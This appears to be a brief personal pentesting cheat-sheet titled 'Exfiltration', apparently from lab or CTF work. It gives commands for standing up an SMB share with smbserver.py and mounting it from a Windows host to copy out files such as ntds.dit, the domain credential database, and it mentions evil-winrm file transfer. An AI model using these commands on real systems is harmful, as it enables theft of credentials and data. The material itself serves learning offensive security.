---
title: "Exfiltration"
date: 2024-07-10
draft: false
---


### starting an SMB server
![](/img/Pasted image 20240703205956.png)

```bash
smbserver.py s . -smb2support -username df -password df
```
![](/img/Pasted image 20240703210022.png)
```bash
net use \\10.10.14.6\s /u:df df
```

make sure when you exfil files you specify file location with the `s` : 
`\\10.10.14.14\s\ntds.dit`
(it's the name of the mounted share)

---
upload/download usage in evil-winrm, but you already know that (and it doesn't work for everything)
